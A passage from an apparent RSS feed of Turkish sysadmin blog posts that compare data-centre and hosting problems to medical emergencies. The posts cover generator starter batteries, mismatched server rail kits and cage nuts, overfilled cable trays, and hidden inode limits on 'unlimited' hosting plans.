Bir ucu müdürün dizel arabasının aküsüne, diğer ucu 2.000 kVA'lık jeneratörün aküsüne bağlanmaya çalışılır!</p>
<p>Gecenin bir yarısı, trilyonluk bankacılık verileri ve bulut altyapısı; bahçede farları yanan bir binek otomobilin motoru çalışırken takviye kablosunun ucundan gelecek 12 Volta muhtaç kalmıştır!</p>
<p>Takviye kablosu ince gelir, ısınır, duman çıkar. Jeneratör bir türlü marş basamaz.<br>
Ve içerideki UPS aküleri son nefesini verir: Tüm veri merkezi karanlığa gömülür.</p>
<hr>
<h3>Marş Güvenliğinin Çift Kademeli Protokolü</h3>
<p>Bir jeneratörün marş basmaması teknik bir arıza değil, doğrudan bir yönetim cinayetidir. Gerçek bir altyapıda şu kurallar uygulanmalıdır:</p>
<ol>
<li><strong>Çift Bağımsız Marş Aküsü Grubu (Dual Starter Battery Bank):</strong> Kritik veri merkezlerinde jeneratör tek bir akü grubuna emanet edilemez! Biri arızalansa bile jeneratörü çalıştıracak iki bağımsız akü grubu (Bank A ve Bank B) ve akıllı bir marş seçici şalteri (Battery Selector Switch) bulunmalıdır.</li>
<li><strong>Kondansatör Destekli Marş Üniteleri (Supercapacitor Starter):</strong> Modern tesislerde kimyasal akülerin yanına elektrostatik "Süperkapasitör Marş Modülleri" eklenir. Bu modüller asla boşalmaz, -40 derecede bile anında 1500 Amper marş akımı sağlayarak motoru fırlatır.</li>
<li><strong>Akıllı Redresör ve Şarj Alarmı:</strong> Redresörün şebeke beslemesi, sigortası ve çıkış akımı BMS (Bina Yönetim Sistemi) üzerinden 7/24 izlenmelidir. Şarj akımı kesildiği an nöbetçi personele P1 alarmı düşmelidir.</li>
<li><strong>İki Yılda Bir Koşulsuz Akü Değişimi:</strong> Jeneratör marş aküsü otomobil aküsü gibi "bitene kadar" kullanılmaz! İki yılını dolduran marş aküsü sağlam görünse bile koşulsuz şartsız sıfırıyla değiştirilmelidir.</li>
</ol>
<p>Tıpta bataryası bitik bir defibrilatör cinayetle eşdeğerdir.</p>
<p>Veri merkezinde de marş aküsünü kontrol etmediğiniz bir jeneratör, sadece sahte bir huzur veren pahalı bir dekordan ibarettir. Tonlarca mazotunuza değil; o marşı basacak akünün gücüne güvenin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Jeneratör</category>
            <category>Marş Aküsü</category>
            <category>Veri Merkezi</category>
            <category>Altyapı</category>
            <category>Disaster Recovery</category>
            <category>Elektrik</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/jenerator-mars-akusu-unutkanligi-akusu-biten-iki-milyonluk-heykel/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sunucu Kızağının Uymazlığı": Gece Yarısı Kafes Somun (Cage Nut) İşkencesi]]></title>
            <link>http://localhost:3000/blog/post/sunucu-kizaginin-uymazligi-gece-yarisi-kafes-somun-cage-nut-iskencesi</link>
            <guid>sunucu-kizaginin-uymazligi-gece-yarisi-kafes-somun-cage-nut-iskencesi</guid>
            <pubDate>Tue, 28 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Teoride 19 inç standardı olan kabinlerde Dell, HP ve Lenovo kızaklarının deliklere uymaması; parmak kesen kafes somunlar, eksik adaptörler ve sabaha karşı uydurulan derme çatma vidalar.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-kizaginin-uymazligi-gece-yarisi-kafes-somun-cage-nut-iskencesi/thumbnail" alt=""> Ortopedi ve travmatoloji ameliyathanelerinde cerrahların başına gelebilecek en sinir bozucu krizlerden biri "plak-vida uyumsuzluğu"dur.</p>
<p>Hastanın parçalanmış kaval kemiğini (tibia) sabitlemek için ameliyat sahası açılmıştır, kemik uçları karşı karşıya getirilmiştir. Cerrah titanyum fiksasyon plağını kemiğin üzerine yerleştirir. Asistandan vida ister: <em>"Üç buçukluk kilitli vida ver."</em></p>
<p>Fakat hastanenin tasarruf sevdalısı satın alma birimi, ihaleyi başka bir firmaya verdiği için vida seti ile kemik plağının diş adımları (thread pitch) birbirine uymuyordur! Vida plağın deliğine girer ama kilitlenmez, yalama olur, kemiği tutmaz. Hasta narkoz altında yatarken ameliyathane hemşiresi depodaki onlarca metal çekmeceyi devirip doğru vidayı aramak için kan ter içinde koşturur. Koskoca cerrahi operasyon, iki milimetrelik bir diş farkının kurbanı olmuştur.</p>
<p>Kurumsal bilişim altyapılarında, veri merkezlerinde ve kabin montajlarında da tam olarak bu ortopedik vida kabusunu yaşatan, her sistem yöneticisinin parmaklarını kesip kanatan meşhur bir saha rezaleti vardır: <strong>Sunucu Kızağının (Rail-Kit) Kabin Deliklerine Uymaması ve Gece Yarısı Verilen Kafes Somun (Cage Nut) Savaşı.</strong></p>
<hr>
<h3>"19 İnç Standardı" Yalanı</h3>
<p>Bilişim sektöründe herkesin ezbere bildiği uluslararası bir kural vardır: <strong>EIA-310 Standardı.</strong><br>
Buna göre tüm kurumsal sunucular ve kabinler "19 inç" genişliğinde ve katları "1U (1.75 inç / 44.45 mm)" yüksekliğinde olmak zorundadır. Teoride harika bir dünyadır bu; Dell sunucusunu alır, HP kabinine takarsınız; Supermicro'yu alır, APC kabine vidalarsınız. Her şey Lego gibi birbirine oturmalıdır.</p>
<p>Fakat pratikte sahaya indiğinizde, üreticilerin o sahte "evrensel standart" maskesi anında düşer.</p>
<p>Çünkü her üretici (Dell, HPE, Lenovo, Cisco, Huawei), müşterisini kendi ekosistemine hapsetmek ve kendi pahalı kabinlerini satabilmek için sunucu kızaklarını (Server Rails) kendine has, patentli, ucube mekanizmalarla donatmıştır:</p>
<ul>
<li><strong>Dell ReadyRails:</strong> Aletsiz (tool-less) tasarımdır; kare delikli kabinlere tık diye geçer.</li>
<li><strong>HPE Easy Install Rails:</strong> Kendi yaylı mandalları vardır.</li>
<li><strong>Supermicro Kılavuzları:</strong> İki parça halinde vidalanır, derinlik ayarı işkencedir.</li>
</ul>
<p>Ve asıl kıyamet, kabinin dikey montaj dikmelerindeki o deliklerin geometrisinde kopar!</p>
<hr>
<h3>Kare Delik vs. Yuvarlak Delik Faciası</h3>
<p>Bir kabin sipariş ettiğinizde dikmelerde iki farklı delik tipiyle karşılaşabilirsiniz:</p>
<ol>
<li><strong>Kare Delikler (Square Hole - 9.5 mm):</strong> Modern standarttır. İçine yaylı çelik kafes somunlar (Cage Nuts) takılır.</li>
<li><strong>Dişli Yuvarlak Delikler (Round Threaded Hole - 10-32 veya M6):</strong> Eski tip veya bazı telekom kabinlerinde delikler kare değil yuvarlaktır ve içinde hazır diş açılmıştır.</li>
</ol>
<p>Şimdi gece saat 02:45'teki sahneyi gözünüzün önüne getirin:<br>
Şirket acil olarak 30 bin dolarlık yeni bir Dell PowerEdge sunucu almıştır. Sabaha kadar sunucunun kabine monte edilip veritabanının ayağa kaldırılması şarttır.</p>
<p>Sistem mühendisi Dell'in o pırıl pırıl sarı kutulu "ReadyRails" kızaklarını çıkarır.<br>
Kızağın ön ucunu kabin dikmesine dayar.<br>
Kızağın ucunda kare deliklere geçmek üzere tasarlanmış kalın, yaylı çelik tırnaklar vardır.<br>
Fakat o da ne?<br>
Şirketin kiraladığı veri merkezi kabini eski tiptir ve dikmelerinde <strong>yuvarlak dişli delikler</strong> vardır!</p>
<p>Dell'in o yaylı tırnağı, o yuvarlak delikten içeri fiziksel olarak <strong>giremez!</strong><br>
Kızak oturmaz, kilitlenmez, boşta sallanır.</p>
<p>Kılavuza bakarsınız; küçük bir dipnot yazar: <em>"Dişli yuvarlak delikli kabinler için opsiyonel vidalı adaptör braketi (Threaded Hole Rail Adapter Kit) ayrıca sipariş edilmelidir."</em><br>
Ve o adaptör tabii ki kutunun içinden çıkmamıştır!<br>
Yurt dışından gelmesi iki hafta sürecektir; ama sunucunun iki saat sonra çalışması gerekmektedir!</p>
<hr>
<h3>Parmakları Kesen Çelik Tırnaklar: Kafes Somun Savaşı</h3>
<p>Kabin kare delikli olsa bile işkence bitmez.<br>
Kızak bu kez vidasız değildir; kabin dikmesine kafes somun (Cage Nut) takmanız gerekiyordur.</p>
<p>Kafes somun; içi M6 dişli olan kare bir somunun, yaylı çelik bir kafesin içine hapsedilmiş halidir. O somunu kabinin kare deliğine arkadan takıp yaylı tırnağını deliğin kenarına oturtmanız gerekir.</p>
<p>Mühendisin elinde özel kafes somun takma aparatı (Cage Nut Insertion Tool) yoktur; çünkü o aleti kimse sahaya getirmez.<br>
Mühendis ne yapar?<br>
Başparmağının tırnağıyla veya tornavidanın ucuyla o yaylı sert çelik tırnağa bastırmaya çalışır:<br>
<em>Bastırır... Kayar... Bastırır...</em></p>
<p>Ve o an:<br>
Yaylı çelik tırnak fırlar! Jilet gibi bilenmiş kenarı, mühendisin başparmağının etine saplanır!<br>
Kan kabin dikmesinden aşağı süzülmeye başlar.<br>
Veri merkezinin soğuk koridorunda küfürler yankılanır. Yere fırlayan kafes somun yükseltilmiş tabanın delikli karosunun içine düşer ve kaybolur.</p>
<p>Dört adet somun takabilmek için kırk dakika boyunca parmaklarınızı parçalarsınız.</p>
<hr>
<h3>Sabaha Karşı Gelen "Derme Çatma" Mühendislik</h3>
<p>Saat sabah 04:30 olmuştur.<br>
Kızak bir türlü oturmamaktadır. Derinlik ayarı tutmaz; kabinin arka dikmesi 800 milimetredir ama kızak en fazla 750 milimetreye kadar açılmaktadır. Sunucu havada kalmıştır.</p>
<p>Ve yorgunluktan gözleri kan çanağına dönmüş mühendislerin o meşhur, utanç verici Türk usulü "sahada hayatta kalma" çözümleri başlar:</p>
<ol>
<li><strong>Alttaki Sunucuyu Sehpa Yapmak:</strong> Yeni sunucu, kabinde hemen bir alt U'da çalışan eski sunucunun doğrudan metal üst kapağının üzerine oturtulur! Ray takılamamıştır; 25 kiloluk sunucu diğer sunucunun üzerinde serbestçe yatar. (Alttaki sunucunun kapağı esner, fanlara sürter, titreşimden diskler hata verir ama kimin umurunda!)</li>
<li><strong>Plastik Kelepçeyle Ray Asmak:</strong> Kızak arkaya yetişmediği için kızağın arka ucu kabin dikmesine siyah plastik kelepçelerle veya elektrik bandıyla sarılarak havada tutturulur!</li>
<li><strong>Farklı Dişli Vidaları Zorlamak:</strong> M6 deliğe inç dişli 10-32 vidayı şarjlı matkapla zorla sokup yalama yaparak tutturmak.</li>
</ol>
<p>Günün sonunda sunucu çalışır. Sabah gelen yöneticilere "Sistemi sabaha yetiştirdik" diye rapor verilir.</p>
<p>Fakat o kabinin kapağını açtığınızda gördüğünüz şey bir mühendislik harikası değil; her an birisinin parmağı çarptığında raydan kayıp yere çakılmayı bekleyen yüz binlerce liralık bir enkaz tuzağıdır.</p>
<hr>
<h3>Montajın da Bir Ahlakı Vardır</h3>
<p>Bir sunucuyu satın almak parayla mümkündür; ama onu doğru dürüst monte etmek bir altyapı kültürü gerektirir:</p>
<ul>
<li><strong>Saha Keşfi:</strong> Yeni sunucu siparişi vermeden önce kabinin dikme tipi (kare/yuvarlak delik) ve ön-arka dikme mesafesi (montaj derinliği) bir metreyle bizzat ölçülmelidir.</li>
<li><strong>Orijinal Adaptör Kitleri:</strong> Kabin tipi standart dışıysa sunucuyla birlikte orijinal üretici adaptör braketleri (Örn: Dell 2U Threaded Hole Kit) eksiksiz temin edilmelidir.</li>
<li><strong>Kafes Somun Pensesi (Cage Nut Tool):</strong> Çantada mutlaka yaylı kafes somun aparatı bulunmalı, personelin ellerini kesmesine asla izin verilmemelidir.</li>
<li><strong>Kızaksız Sunucu Çalıştırılamaz:</strong> Bir sunucu rayına kilitlenmeden, şasiye güvenle sabitlenmeden o sunucuya asla enerji verilemez.</li>
</ul>
<p>Tıpta kemiğe uymayan vidayı zorlayan asistana cerrah denmez.</p>
<p>Veri merkezinde de kızağı uymayan sunucuyu kelepçeyle havada tutturan kişiye mühendis denmez. Detaylara saygı duyun; çünkü bir gün o derme çatma vida koptuğunda, yerçekimi faturayı çok ağır keser.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Donanım</category>
            <category>Sunucu</category>
            <category>Rail Kit</category>
            <category>Cage Nut</category>
            <category>Veri Merkezi</category>
            <category>SysAdmin</category>
            <category>Saha Operasyonu</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-kizaginin-uymazligi-gece-yarisi-kafes-somun-cage-nut-iskencesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Kablo Kanalı Tıkanıklığı": Yükseltilmiş Taban Altındaki Damar Sertliği]]></title>
            <link>http://localhost:3000/blog/post/kablo-kanali-tikanikligi-yukseltilmis-taban-altindaki-damar-sertligi</link>
            <guid>kablo-kanali-tikanikligi-yukseltilmis-taban-altindaki-damar-sertligi</guid>
            <pubDate>Mon, 27 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[İlk gün "Bu tava bize on yıl yeter" denilerek tepeleme doldurulan kablo kanallarının (cable tray) yarattığı obstrüksiyon; yeni bir hat çekerken canlı sistemleri ezen susta savaşları.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kablo-kanali-tikanikligi-yukseltilmis-taban-altindaki-damar-sertligi/thumbnail" alt=""> Gastroenteroloji ve genel cerrahi kliniklerinin en acil, en tehlikeli ameliyatlarından biri "Mekanik Bağırsak Obstrüksiyonu"dur (İleus).</p>
<p>Normal bir insanın sindirim kanalı esnektir, dinamiktir; peristaltik hareketlerle içeriği pürüzsüzce ileriye taşır. Fakat lümenin içinde bir kitle, dışarıdan bası yapan bir yapışıklık (adezyon) veya fekal impaksiyon oluştuğunda o kanal tamamen tıkanır. Yukarıdan yeni gıda ve sıvı gelmeye devam ettikçe bağırsak lümeni bir balon gibi şişer, duvarındaki kılcal damarlar ezilir (iskemi), bağırsak dokusu kangrenleşir ve delinme (perforasyon) riskiyle hasta acil cerrahiye alınır. Fizik kuralı çok basittir: <strong>Kapasitesi dolmuş ve kilitlenmiş bir borunun içine zorla yeni bir şey itemezsiniz; itmeye çalışırsanız boruyu patlatırsınız.</strong></p>
<p>Veri merkezlerinde, telekom santrallerinde ve kurumsal sistem odalarında da tam olarak bu bağırsak tıkanıklığını andıran, ayaklarımızın altında sessizce kangrene dönüşen kronik bir altyapı hastalığı vardır: <strong>Kablo Kanallarının ve Tavalarının (Cable Tray / Wire Basket) Tıklım Tıklım Dolması.</strong></p>
<p>Ve bu tıkanıklık, veri merkezinin zemin altındaki atardamarlarını kireç bağlamış bir kalp hastasının damarlarına çevirir.</p>
<hr>
<h3>"Bu Tava Bize On Yıl Yeter!" Kibri</h3>
<p>Veri merkezi projelendirilirken yükseltilmiş tabanın altına veya tavan askılarına geniş, pırıl pırıl galvanizli çelik tel sepet kablo tavaları (örneğin 400 mm genişlik, 100 mm derinlik) monte edilir.</p>
<p>İnşaat mühendisi veya taşeron firma gururla konuşur:<br>
<em>"Hocam buraya en az 10 yıl boyunca hiçbir şey olmaz! Bütün binanın kablosunu çekseniz yine de yarısı boş kalır."</em></p>
<p>Uluslararası yapısal kablolama standartları (özellikle <strong>TIA-569 ve BICSI TDMM</strong>) bu konuda çok net bir matematiksel sınır koymuştur:</p>
<ul>
<li>Bir kablo tavasının ilk kurulum anındaki doluluk oranı (initial fill ratio) <strong>asla %40'ı geçmemelidir!</strong></li>
<li>Tesisin tüm ömrü boyunca izin verilen mutlak tavan doluluk sınırı ise <strong>maksimum %50'dir.</strong></li>
</ul>
<p>Geriye kalan o %50'lik boşluk bir lüks veya israf değildir; gelecekte eklenecek hatlar, kabloların kendi ağırlıklarıyla birbirini ezmemesi ve kablo demetleri arasından hava akışının serbestçe geçebilmesi için hayati bir yaşam alanıdır.</p>
<p>Peki sahada ne olur?<br>
İlk altı ay içinde, o "on yıl yeter" denilen tava ağzına kadar doldurulur. İki yıl sonra ise kablolar tavanın metal yan duvarlarından taşmaya başlar; tavalar adeta aşırı doldurulmuş bir bavul gibi sarkar!</p>
<hr>
<h3>Taşlaşan Kablo Yığını: Ağırlık ve Isı Tuzağı</h3>
<p>Zamanla o tıkalı kanalda fiziksel ve termal bir felaket olgunlaşır:</p>
<ol>
<li><strong>Tonlarca Ağırlık ve Ezilen İletkenler:</strong> Bir metre Cat6a kablo yaklaşık 50-60 gramdır. Bir tavada yüzlerce kablo üst üste yığıldığında, en alttaki kabloların üzerine <strong>onlarca kilogramlık statik bir ezme kuvveti (compressive stress)</strong> biner! En alttaki kablolar yassılaşır, bakır damarlarının geometrisi bozulur, yalıtkan katman ezilir ve sinyal kalitesi çöker.</li>
<li><strong>Kablo Tavasının Bel Vermesi:</strong> Tavayı tavana veya yükseltilmiş taban ayaklarına bağlayan çelik askı tijleri aşırı yük yüzünden esner, vidalar yuvalarından gevşer.</li>
<li><strong>Taban Altındaki Hava Tünelinin Boğulması:</strong> Yükseltilmiş tabanın altından sunucu kabinlerine gitmesi gereken soğuk hava akımı, o devasa kablo barikatına çarpar. Klimalar basar ama hava kabinlere ulaşamaz; çünkü zemin altı kablo kanalları birer kum torbası gibi hava tünelini tıkamıştır.</li>
</ol>
<hr>
<h3>Susta Savaşları: Canlı Yayında Kablo Çekme Dehşeti</h3>
<p>Ve o kaçınılmaz gün gelir.<br>
Veri merkezine yeni bir kurumsal müşteri girer veya iki omurga switch arasına 4 adet yeni 100G zırhlı fiber omurga kablosu çekilmesi gerekir. Mesafe: Kabin 3'ten Kabin 28'e kadar, yaklaşık 40 metre.</p>
<p>İki teknisyen gelir. Yükseltilmiş taban karolarını kaldırırlar.<br>
Karşılarına çıkan manzara: Ağzına kadar taşmış, birbirine girmiş, yılların tozuyla kaplanmış kaskatı bir kablo okyanusu!</p>
<p>Teknisyen eline çelik veya fiberglas kablo sustasını (pulling tape / fishtape) alır.<br>
Sustanın metal ucunu kablo yığınının içine doğru iter:<br>
<em>İter... İter... ÇAAAT!</em></p>
<p>Susta 10. metrede o sıkışmış kablo düğümüne saplanır ve kilitlenir. Bir milim bile ileri gitmez.<br>
Teknisyen kan ter içindedir.<br>
Ve o ölümcül saha hatası yapılır: <strong>Sustayı veya kabloyu kaba kuvvetle, asılarak zorlamak!</strong></p>
<p>Teknisyen kanaldaki kablo demetini elleriyle yukarı doğru kanırtır. Sustanın ucuna yeni fiber kabloyu bağlar. Diğer uçtaki teknisyen iki eliyle kabloya asılır:<br>
<em>Asılır... Çeker... Asılır...</em></p>
<p>O an tabanın altında ne olur biliyor musunuz?</p>
<ol>
<li>O çekilen yeni kablo, sürtünme yüzünden altındaki eski canlı kabloların PVC kılıfını adeta bir testere gibi kesmeye başlar! (Jacket stripping).</li>
<li>Kanalın dibinde sıkışmış olan canlı bir Cat6 kablo gerilir; kabin dikmesindeki patch panelin arkasındaki klemensinden "ÇIRT!" diye kopar.</li>
<li>Daha da kötüsü: Gerilen bir fiber kablo kritik açının ötesinde ezilir ve canlı çalışan bir bankanın veri tabanı hattı anında karanlığa gömülür!</li>
</ol>
<p>Tek bir yeni kablo çekmek uğruna, kanaldaki canlı çalışan beş müşterinin sistemine suikast düzenlenmiştir.</p>
<hr>
<h3>"Ölü Kablo Temizliği" (Abatement) Disiplini</h3>
<p>Bu kabus nasıl önlenir?<br>
Cevap çok basittir: <strong>Ölü Kabloları Sökmek!</strong></p>
<p>Bir veri merkezinde kanalların tıkanmasının bir numaralı sebebi yeni kablolar değil; <strong>yıllar önce sökülmüş sunuculardan geriye kalan ve tembellikten ötürü kanalda bırakılmış olan "HAYALET KABLOLARDIR" (Abandoned Cables).</strong></p>
<p>Bir müşteri taşınır, sunucusu sökülür. Ama teknisyen tabanın altındaki 30 metrelik kabloyu çekip çıkarmakla uğraşmaz! İki ucunu keser, kabloyu tavanın içinde bırakır. Yıllar içinde o tavalarda biriken kabloların <strong>yüzde kırkı aslında hiçbir yere bağlı olmayan ölü plastik yığınlarıdır!</strong></p>
<p>Gerçek bir veri merkezi yönetimi şunları şart koşar:</p>
<ul>
<li><strong>Katı Kablo Tahliye Prosedürü (Cable Abatement):</strong> Bir sunucu veya kabin emekliye ayrıldığında (decommission), ona ait olan tek bir santimetre kablo dahi kanalda bırakılamaz! Kablo ucu ucuna fiziksel olarak sökülüp geri dönüşüme gönderilmelidir.</li>
<li><strong>Ayrı Tavalarda Fiziksel Ayrım:</strong> Fiber optik kablolar ile ağır bakır güç kabloları asla aynı tavaya konulamaz! Sarı fiberler için daima üstten giden bağımsız sarı fiber kanalları (Fiber Runner / Fiber Raceway) kullanılmalıdır.</li>
<li><strong>Yüzde Kırk Kuralı:</strong> Doluluk oranı %40'a ulaşan bir kablo tavasına derhal "DOLUDUR, YENİ HAT ÇEKİLEMEZ" etiketi vurulmalı; paralel yeni bir tava hattı çekilmeden o güzergaha tek bir kablo bile eklenmemelidir.</li>
</ul>
<p>Tıpta bağırsak tıkanıklığı yaşayan hastaya zorla yemek yedirmeye çalışan hekim hastayı öldürür.</p>
<p>Veri merkezinde de tıka basa dolmuş bir kanala zorla kablo sokmaya çalışan teknisyen, canlı sistemlerin idam fermanını imzalıyordur. Kanallarınıza nefes aldırın; ölü kabloları temizleyin, altyapınızın damarlarını açık tutun.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Kablo Kanalı</category>
            <category>Kablolama</category>
            <category>Veri Merkezi</category>
            <category>Altyapı</category>
            <category>TIA-569</category>
            <category>SysAdmin</category>
            <category>Donanım</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kablo-kanali-tikanikligi-yukseltilmis-taban-altindaki-damar-sertligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sınırsız Hosting" Şehir Efsanesi ve Inode (Dosya Sayısı) Tuzağı]]></title>
            <link>http://localhost:3000/blog/post/sinirsiz-hosting-sehir-efsanesi-ve-inode-dosya-sayisi-tuzagi</link>
            <guid>sinirsiz-hosting-sehir-efsanesi-ve-inode-dosya-sayisi-tuzagi</guid>
            <pubDate>Sun, 26 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Pazarlamacıların "Sınırsız Disk, Sınırsız Trafik" masalı arkasına saklanan gizli Inode (dosya sayısı) sınırı; Linux dosya sistemlerinin metafiziksel gerçeği ve açık büfe illüzyonu.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sinirsiz-hosting-sehir-efsanesi-ve-inode-dosya-sayisi-tuzagi/thumbnail" alt=""> Turizm sektöründe ve gastronomi dünyasında herkesin çok iyi bildiği meşhur bir "Açık Büfe İllüzyonu" vardır. Otelin broşüründe büyük puntolarla parıldar: <em>"Sınırsız Açık Büfe! Sınırsız İçecek! Dilediğiniz kadar yiyin!"</em></p>
<p>Gözü aç bir tatilci o büfenin başına geçtiğinde, tabağına tepeleme kırmızı etleri, tatlıları, börekleri doldurur. <em>"Nasıl olsa sınırsız, çatlayana kadar yiyeceğim"</em> der.</p>
<p>Fakat bu insanın unuttuğu çok temel bir anatomi gerçeği vardır: İnsan midesinin esneme ve depolama kapasitesi biyolojik olarak <strong>en fazla 1.5 ila 2 litredir.</strong></p>
<p>O sınır aşıldığı anda gastrointestinal sistem isyan eder: Akut gastrik dilatasyon, şiddetli kramplar, kusma ve reflü başlar. Büfe teoride sonsuz olabilir; fakat o yiyeceği alacak olan mide fiziksel bir sınırla kilitlenmiştir. Otel yönetimi o "sınırsız" vaadini verirken insanın biyolojik sınırına güvenmektedir; kimsenin 10 kilo et yiyemeyeceğini çok iyi bilirler.</p>
<p>Web hosting ve internet altyapısı sektöründe de tam olarak bu açık büfe illüzyonunu pazarlama malzemesi yapan, Türkiye'deki ve dünyadaki yüz binlerce web sitesi sahibini kriz masasına oturtan meşhur bir şehir efsanesi vardır: <strong>"Sınırsız Disk Alanı" Masalı ve Arkasındaki Gizli Inode Tuzağı.</strong></p>
<hr>
<h3>Yıllık 49 Liraya Satılan "Sonsuzluk"</h3>
<p>Bir hosting firmasının ana sayfasına girersiniz. Karşınıza neon ışıklı bir paket çıkar:</p>
<ul>
<li>Sınırsız Disk Alanı (SSD/NVMe)</li>
<li>Sınırsız Aylık Trafik</li>
<li>Sınırsız E-Posta Hesabı</li>
<li>Sınırsız MySQL Veritabanı</li>
<li>Fiyat: Sadece <strong>aylık 49 TL!</strong></li>
</ul>
<p>Temel fizik ve ekonomi eğitimi almış herhangi bir insanın bu tabloya baktığında kahkahalarla gülmesi gerekir: Dünyadaki en büyük veri depolama üreticisi bile terabaytlık disklere yüzlerce dolar öderken; yıllık birkaç yüz liraya bir insana "sonsuz fiziksel disk alanı" nasıl tahsis edilebilir?</p>
<p>Elbette edilemez. Çünkü sektörde "sınırsız" diye bir kavram yoktur; sadece <strong>"ortalamanın sınırlarına güvenmek" (overselling)</strong> vardır.</p>
<p>Hosting şirketi bilir ki, o paketi alan 100 müşterinin 95 tanesi sadece 3 sayfalık bir kurumsal tanıtım sitesi kuracak ve 300 Megabayt alan kullanacaktır. Kalan 5 kişinin alanı o 95 kişinin boşluğundan finanse edilir.</p>
<p>Ta ki o müşterilerden biri o "sınırsız" vaadini gerçekten ciddiye alıp kullanmaya kalkana kadar!</p>
<hr>
<h3>Kriz Sabahı: 8 Gigabayt ile Çöken "Sonsuz" Disk</h3>
<p>Müşteri bir e-ticaret sitesi kurar veya bir haber portalı açar.<br>
Siteye binlerce ürün eklenir. WordPress'in arkasına popüler bir önbellek (cache) eklentisi (WP Rocket, LiteSpeed Cache vb.) kurulur. Eklenti sitenin hızlı açılması için her bir sayfanın ve görselin onlarca farklı mobil, masaüstü, webp varyasyonunu önbelleğe yazar.</p>
<p>Birkaç ay geçer. Müşteri cPanel kontrol paneline girer.<br>
Disk kullanımına bakar: <strong>8.4 GB.</strong><br>
Müşteri sevinçle gülümser: <em>"Oh ne güzel, sınırsız diskimin sadece 8 gigabaytını kullandım, daha önümde sonsuz yer var!"</em></p>
<p>Ve ertesi sabah...<br>
Müşteri sitesine girmeye çalışır:<br>
<code>HTTP 500 Internal Server Error</code><br>
<code>Fatal Error: Unable to write to cache directory: No space left on device.</code></p>
<p>Müşteri şok içinde hosting firmasına acil bilet (ticket) açar:<br>
<em>"Kardeşim siteniz çöktü! 'Disk dolu' hatası veriyor. Hani benim diskim sınırsızdı? Ben sadece 8 GB kullandım, derhal düzeltin!"</em></p>
<p>On dakika sonra destek ekibinden o soğuk, ezberlenmiş, küçük puntolu yanıt gelir:<br>
<em>"Sayın müşterimiz, paketinizdeki disk alanı sınırsızdır; ancak paketinizin <strong>Inode (Dosya Sayısı) Limiti 100.000'dir.</strong> Hesabınızda 100.001 adet dosya tespit edildiği için dosya yazma yetkiniz sistem tarafından otomatik olarak kilitlenmiştir."</em></p>
<p>Müşteri ekrana bakar: <strong>Inode nedir?</strong></p>
<hr>
<h3>Linux Dosya Sisteminin Ruhsatı: Inode Nedir?</h3>
<p>Linux ve Unix tabanlı dosya sistemlerinde (ext4, XFS vb.) bir dosya oluşturduğunuzda, o dosya sadece disk üzerinde sektörleri (blokları) kaplamaz.</p>
<p>İşletim sisteminin o dosyanın nerede durduğunu, boyutunu, izinlerini (chmod), sahibini ve oluşturulma tarihini tutabilmesi için özel bir veri yapısına ihtiyacı vardır.<br>
İşte bu meta veri kaydına <strong>"Inode" (Index Node)</strong> denir.</p>
<p>İşin can alıcı kuralı şudur:<br>
<strong>Boyutu ne olursa olsun; diske yazılan her bir dosya, her bir klasör, her bir e-posta, her bir geçici oturum (session) dosyası TAM BİR ADET INODE tüketir!</strong></p>
<p>Gelin matematiği yapalım:</p>
<ul>
<li>10 Gigabaytlık tek bir büyük film dosyası indirip sunucuya atarsanız: <strong>1 Inode tüketirsiniz.</strong> Diskiniz 10 GB dolar ama Inode limitinizin sadece yüzde birini bile harcamazsınız.</li>
<li>Fakat bir WordPress cache eklentisi veya e-posta sunucusu, her biri sadece 500 baytlık (küçücük bir metin) <strong>150.000 adet önbellek ve session dosyası</strong> üretirse:<br>
Diskte kapladığı toplam alan sadece <strong>75 Megabayttır!</strong><br>
Fakat sistemdeki <strong>150.000 adet Inode hakkının tamamını yutmuştur!</strong></li>
</ul>
<p>Ve Linux çekirdeği (kernel) için Inode tablosu dolduğu an; diskte isterse 10 Terabayt boş alan olsun, işletim sistemi tek bir baytlık yeni bir dosya bile <strong>yazamaz!</strong><br>
Veritabanı geçici dosya açamaz, e-posta içeriği kaydedilemez, oturum açılamaz. Sistem duvara toslar.</p>
<hr>
<h3>Küçük Puntolu Sözleşmeler ve Pazarlama İkiyüzlülüğü</h3>
<p>Hosting firmalarının ana sayfalarında kocaman harflerle "SINIRSIZ" yazarken, Hizmet Şartları Sözleşmesi'nin (ToS) 42. maddesinin alt bendine gizledikleri bu Inode limiti, bilişim sektörünün en büyük yasal illüzyonudur.</p>
<p>Neden Inode limiti koyarlar?<br>
Teknik olarak savunmaları şudur: <em>"Sunucuda 500 müşteri var, bir müşteri milyonlarca dosya oluşturursa sunucunun dosya sistemi tarama (fsck) performansı çöker, yedekleme (backup) süreleri günlerce sürer."</em></p>
<p>Bu teknik gerekçe <strong>yüzde yüz doğrudur!</strong> Gerçekten de milyonlarca küçük dosya depolama ünitelerinin I/O dengesini felç eder.</p>
<p>Fakat ahlaki olmayan taraf şudur:<br>
Eğer bir müşterinin hesabında 100 binden fazla dosya barındırmasına izin vermeyecekseniz; o paketin tabelasına neden utanmadan <strong>"SINIRSIZ DİSK"</strong> yazıyorsunuz?</p>
<p>Bir müşterinin 100 bin adet ortalama web dosyasıyla (HTML, CSS, küçük resimler) doldurabileceği maksimum alan zaten <strong>5 ila 10 Gigabayttır!</strong></p>
